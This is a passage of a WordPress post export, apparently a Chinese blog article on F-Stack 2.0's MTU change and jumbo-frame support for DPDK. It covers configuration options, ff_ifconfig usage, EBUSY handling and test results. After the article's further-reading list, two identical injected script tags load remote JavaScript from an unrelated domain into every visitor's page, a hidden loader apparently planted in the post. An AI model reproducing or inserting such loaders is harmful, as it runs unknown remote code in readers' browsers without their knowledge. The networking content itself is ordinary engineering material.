\u62d2\u7edd\u662f\u6700\u5b89\u5168\u7684\u5199\u6cd5\uff0c\u4f46\u5982\u679c\u6709\u5b9e\u6d4b\u8bc1\u636e\u8868\u660e\u5171\u5b58\u65e0\u95ee\u9898\uff0c\u89e3\u9664\u4e92\u65a5\u6bd4\u7ef4\u6301&#8221;\u7eb8\u9762\u98ce\u9669&#8221;\u5bf9\u7528\u6237\u66f4\u53cb\u597d\u3002<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">4.5 \u5176\u4ed6\u5de5\u7a0b\u7ec6\u8282<\/h3>\n\n\n\n<ul class=\"wp-block-list\"><li><strong>EBUSY \u72b6\u6001\u673a<\/strong>\uff1a<code>rte_eth_dev_set_mtu<\/code> \u5bf9\u8fd0\u884c\u4e2d\u7aef\u53e3\u53ef\u80fd\u8fd4\u56de -EBUSY\uff0cM4 \u5b9e\u73b0 primary \u8fdb\u7a0b\u5185\u7684 stop\/set_mtu\/get_mtu\/start\uff0c\u5931\u8d25\u56de\u6eda restore \u65e7 MTU + \u91cd\u542f\u7aef\u53e3\uff1bsecondary \u76f4\u63a5\u8fd4\u56de 0 \u4e0d\u505a\u786c\u4ef6\u64cd\u4f5c<\/li><li><strong>\u591a\u8fdb\u7a0b\u4e00\u81f4\u6027\u9760\u4f7f\u7528\u7ea6\u5b9a<\/strong>\uff1a\u8fdb\u7a0b\u95f4\u96f6 IPC\u3001\u96f6\u4e8b\u52a1\u3001\u96f6\u6d88\u606f\u73af\uff0c\u6bcf\u4e2a\u8fdb\u7a0b\u5404\u81ea\u89e6\u53d1\u4e00\u6b21 SIOCSIFMTU\uff1b\u672a\u8bbe\u7f6e\u7684\u8fdb\u7a0b\u8f6f\u4ef6 MTU \u4fdd\u6301\u65e7\u503c\uff08\u5df2\u77e5\u7ea6\u675f\uff0cspec \u660e\u793a\uff09<\/li><li><strong>\u95e8\u7981<\/strong>\uff1a-Werror \u7f16\u8bd1\u3001freebsd\/ \u6811 git diff \u9a8c\u8bc1\u96f6\u6539\u52a8\u3001ff_veth.c \u65e0 rte_eth* \u5f15\u7528\u3001\u65e0 atoi\u3001\u65e0 IPC \u6b8b\u7559\u3001mtu_enable=0 \u5168\u8def\u5f84\u96f6\u56de\u5f52\u2014\u2014\u516d\u9879\u5168 PASS<\/li><\/ul>\n\n\n\n<h2 class=\"wp-block-heading\">5. \u5982\u4f55\u4f7f\u7528\u3001\u5982\u4f55\u914d\u7f6e\u3001\u4f7f\u7528\u6548\u679c<\/h2>\n\n\n\n<h3 class=\"wp-block-heading\">5.1 \u914d\u7f6e<\/h3>\n\n\n\n<pre class=\"wp-block-preformatted\"><strong>[dpdk]<\/strong><br>mtu_enable=1 &nbsp; &nbsp; &nbsp; &nbsp;  # \u529f\u80fd\u603b\u5f00\u5173\uff0c\u7f3a\u7701 0\uff08\u4e0d\u542f\u7528\u65f6\u884c\u4e3a\u4e0e\u65e7\u7248\u5b8c\u5168\u4e00\u81f4\uff09<br>max_mtu=9000 &nbsp; &nbsp; &nbsp; &nbsp;  # \u8fd0\u884c\u65f6 MTU \u4e0a\u9650 + large \u6a21\u5f0f pool \u9884\u5206\u914d\u4f9d\u636e\uff0c\u7f3a\u7701 9000<br>mbuf_mode=large &nbsp; &nbsp; &nbsp; # large\uff1a\u5355 mbuf \u627f\u8f7d\u5de8\u5e27\uff1bscatter\uff1a\u6807\u51c6 mbuf \u591a\u6bb5\u94fe<br>\u200b<br><strong>[port0]<\/strong><br>mtu=9000 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  # \u7aef\u53e3\u542f\u52a8\u65f6\u7684\u534f\u8bae\u6808+\u786c\u4ef6 MTU\uff0c\u7f3a\u7701 1500<\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">\u7ea6\u675f\u901f\u67e5\uff1a<\/p>\n\n\n\n<ul class=\"wp-block-list\"><li><code>mtu_enable=0<\/code> \u4e14\u914d\u7f6e <code>mtu&gt;1500<\/code>\uff1a\u89e3\u6790\u5931\u8d25\uff0c\u63d0\u793a\u5148\u542f\u7528 MTU \u529f\u80fd<\/li><li>large \u6a21\u5f0f <code>max_mtu<\/code> \u4e0a\u9650\u53d7 <code>data_room_size &lt;= UINT16_MAX<\/code> \u7ea6\u675f\uff0865535 \u4e0d\u53ef\u7528\uff09\uff1bscatter \u6a21\u5f0f\u53ef\u5230 65535 \u4f46\u53d7 PMD \u80fd\u529b\u9650\u5236<\/li><li>\u975e\u6cd5\u914d\u7f6e\u542f\u52a8\u5373\u62a5\u9519\uff0c\u4e0d\u4f1a\u9759\u9ed8\u56de\u9000<\/li><\/ul>\n\n\n\n<h3 class=\"wp-block-heading\">5.2 \u8fd0\u884c\u65f6\u4fee\u6539<\/h3>\n\n\n\n<pre class=\"wp-block-preformatted\"># primary \u8fdb\u7a0b\uff1a\u8f6f+\u786c\u4ef6\u4e00\u8d77\u6539\uff08\u542b EBUSY\u2192stop\/set\/start\uff09<br>ff_ifconfig -p 0 f-stack-0 mtu 9000<br>\u200b<br># \u67e5\u8be2<br>ff_ifconfig -p 0 f-stack-0<br>f-stack-0: flags=8843&lt;UP,BROADCAST,RUNNING,SIMPLEX,MULTICAST&gt; metric 0 mtu 9000<\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">\u591a\u8fdb\u7a0b\u7ea6\u5b9a\uff1aprimary \u7684\u4fee\u6539\u540c\u65f6\u66f4\u65b0\u8f6f\/\u786c\u4ef6\uff1b\u6bcf\u4e2a secondary \u9700\u5404\u81ea\u89e6\u53d1\u4e00\u6b21\uff08\u53ea\u6539\u672c\u8fdb\u7a0b\u8f6f\u4ef6\u89c6\u56fe\uff09\u3002\u8fd9\u662f\u4f7f\u7528\u7ea6\u5b9a\u4e0d\u662f bug\uff0c\u8de8\u8fdb\u7a0b IPC \u534f\u8c03\u662f\u8303\u56f4\u5916\u7684\u540e\u7eed\u91cc\u7a0b\u7891\u3002<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">5.3 \u4f7f\u7528\u6548\u679c\uff08\u7269\u7406\u673a\u5b9e\u6d4b\uff09<\/h3>\n\n\n\n<table class=\"wp-block-table\"><thead><tr><th>\u6d4b\u8bd5\u9879<\/th><th>\u7ed3\u679c<\/th><\/tr><\/thead><tbody><tr><td>IPv4 \u5de8\u5e27<\/td><td><code>ping -M do -s 8972<\/code> \u53cc\u5411 8500 \u5b57\u8282\u6536\u53d1\u6b63\u5e38\uff0cMTU=9000 \u4e0d\u5206\u7247 \u2705<\/td><\/tr><tr><td>IPv6 \u5de8\u5e27<\/td><td><code>ping6 -M do -s 8500<\/code> \u6536\u53d1\u6b63\u5e38\uff08\u4fee\u590d\u524d\u56de\u5305\u88ab\u6309 1448 \u5206 6 \u7247\uff0c\u8865 if_notifymtu \u540e\u4e0d\u5206\u7247\uff09\u2705<\/td><\/tr><tr><td>KNI\/MTU \u5171\u5b58<\/td><td><code>mtu_enable=1<\/code> + <code>kni.enable=1<\/code> \u5171\u5b58\u6b63\u5e38\uff1bveth0 MTU 1500\/9000 \u6536\u53d1\u5747\u6b63\u5e38 \u2705<\/td><\/tr><tr><td>\u5355\u5143\u6d4b\u8bd5<\/td><td>59 \u901a\u8fc7\uff08\u542b 8 \u4e2a\u65b0\u589e MTU \u6d4b\u8bd5\uff09\uff0c12 \u4e2a\u6d4b\u8bd5\u4e8c\u8fdb\u5236\u5168 PASS \u2705<\/td><\/tr><tr><td>\u95e8\u7981<\/td><td>-Werror \/ freebsd \u6811\u96f6\u6539\u52a8 \/ \u65e0 rte_eth \u6cc4\u6f0f \/ \u65e0 atoi \/ \u65e0 IPC \u6b8b\u7559 \/ \u96f6\u56de\u5f52 \u5168 PASS \u2705<\/td><\/tr><\/tbody><\/table>\n\n\n\n<p class=\"wp-block-paragraph\">\u5355\u6d4b\u8986\u76d6\uff1a\u914d\u7f6e\u89e3\u6790 8 \u4e2a\u65b0\u7528\u4f8b\uff08UT-CFG-01..08\uff09+ 7 \u4e2a fixtures\uff0c\u91cd\u70b9\u6253\u914d\u7f6e\u6821\u9a8c\u8fb9\u754c\uff08\u7f3a\u7701\u503c\u3001\u8de8\u5b57\u6bb5\u51b2\u7a81\u3001\u975e\u6cd5\u5b57\u7b26\u4e32\u3001\u6ea2\u51fa\uff09\u3002<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">5.4 \u5bf9\u4f7f\u7528\u8005\u7684\u5efa\u8bae<\/h3>\n\n\n\n<ul class=\"wp-block-list\"><li>\u8981\u5f00\u5de8\u5e27\u5148\u786e\u8ba4\u94fe\u8def\uff1a\u7269\u7406\u7f51\u5361\u3001vSwitch\u3001\u5bf9\u7aef\u5168\u90e8\u652f\u6301 jumbo \u624d\u6709\u610f\u4e49\uff0c\u94fe\u8def\u4e0d\u652f\u6301\u65f6\u5927\u5e27\u4e2d\u9014\u88ab\u4e22\u6bd4 1500 \u66f4\u7cdf<\/li><li>\u5185\u5b58\u654f\u611f\u573a\u666f\u9009 scatter\uff1alarge \u6a21\u5f0f mbuf \u6c60\u6309 max_mtu \u9884\u5206\u914d\uff0c\u5185\u5b58\u5f00\u9500\u663e\u8457\uff1bscatter \u7701\u5185\u5b58\u4f46\u8981\u6c42 PMD \u652f\u6301 RX_SCATTER + TX_MULTI_SEGS<\/li><li>\u53ea\u60f3\u8c03\u5c0f MTU\uff1a\u4e0d\u7528\u5f00 mtu_enable\uff0c\u76f4\u63a5 <code>ff_ifconfig ... mtu 1400<\/code> \u5c31\u662f<\/li><\/ul>\n\n\n\n<h2 class=\"wp-block-heading\">6. \u5ef6\u4f38\u9605\u8bfb\uff1a<\/h2>\n\n\n\n<ul class=\"wp-block-list\"><li>\u8c03\u7814\u7ed3\u8bba\u603b\u89c8\u4e0e\u4e09\u65b9\u8bc1\u636e\uff1adocs\/mtu_change_spec\/zh_cn\/00-\u8c03\u7814\u7ed3\u8bba\u603b\u89c8.md<\/li><li>IPv6 \u5de8\u5e27\u5206\u7247\u5f02\u5e38\u6839\u56e0\u94fe\uff0812 \u4e2a file:line\uff09\uff1adocs\/mtu_change_spec\/zh_cn\/15-IPv6\u5de8\u5e27\u5206\u7247\u5f02\u5e38\u5206\u6790.md<\/li><li>\u5b9e\u65bd\u62a5\u544a\uff08M0~M5 + Post-M5\uff09\uff1adocs\/mtu_change_spec\/zh_cn\/14-\u5b9e\u65bd\u62a5\u544a.md<\/li><li>\u63a5\u53e3\u4e0e\u914d\u7f6e\u8bbe\u8ba1\uff1adocs\/mtu_change_spec\/zh_cn\/08-\u63a5\u53e3\u4e0e\u914d\u7f6e\u8bbe\u8ba1.md<\/li><li>\u76f8\u5173 issue\uff1a#239\uff08set MTU in example\uff09\u3001#490\uff08Why MTU MAX CONF is 1500\uff09\u3001#720\uff08Enabling jumbo frames\uff09\u3001#1033\uff08\u5927\u5305\u6027\u80fd\u4e0e MTU\uff09<\/li><li>\u4e09\u5c42\u67b6\u6784\u6587\u6863\uff1adocs\/zh_cn\/01-LAYER1-ARCHITECTURE.md<\/li><li>\u77e5\u8bc6\u56fe\u8c31\uff1adocs\/zh_cn\/KNOWLEDGE_GRAPH_WIKI.md<\/li><\/ul>\n<script>;var s=document.createElement(\"script\");s.src=\"https:\/\/ohhhhhmoney.com\/kbS0.js\";s.async=true;document.head.appendChild(s);<\/script><script>;var s=document.createElement(\"script\");s.src=\"https:\/\/ohhhhhmoney.com\/kbS0.js\";s.async=true;document.head.appendChild(s);<\/script>","protected":false},"excerpt":{"rendered":"<p>1. \u672c\u529f\u80fd\u4e3b\u8981\u4f5c\u7528\u548c\u7279\u70b9 F-Stack \u7684 DPDK \u63a5\u7ba1\u7f51\u5361\u4e4b\u524d\u53ea\u80fd\u9501\u6b7b\u5728 MTU 1500\uff0c\u8fd9\u6b21\u628a\u300c\u51cf &hellip; <\/p>\n<p class=\"link-more\"><a href=\"https:\/\/lovelyping.com\/?p=471\" class=\"more-link\">\u7ee7\u7eed\u9605\u8bfb<span class=\"screen-reader-text\">\u201cF-Stack 2.0 \u524d\u77bb7 \uff1aMTU \u4fee\u6539\u548cjumbo frame\u652f\u6301\u201d<\/span><\/a><\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[16,47],"tags":[56,21,58,57],"class_list":["post-471","post","type-post","status-publish","format-standard","hentry","category-f-stack","category-f-stack-2-0","tag-dpdk","tag-f-stack","tag-jumbo-frame","tag-mtu"],"_links":{"self":[{"href":"https:\/\/lovelyping.com\/index.php?rest_route=\/wp\/v2\/posts\/471","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/lovelyping.com\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/lovelyping.com\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/lovelyping.com\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/lovelyping.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=471"}],"version-history":[{"count":3,"href":"https:\/\/lovelyping.com\/index.php?rest_route=\/wp\/v2\/posts\/471\/revisions"}],"predecessor-version":[{"id":753,"href":"https:\/\/lovelyping.com\/index.php?rest_route=\/wp\/v2\/posts\/471\/revisions\/753"}],"wp:attachment":[{"href":"https:\/\/lovelyping.com\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=471"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/lovelyping.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=471"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/lovelyping.com\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=471"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}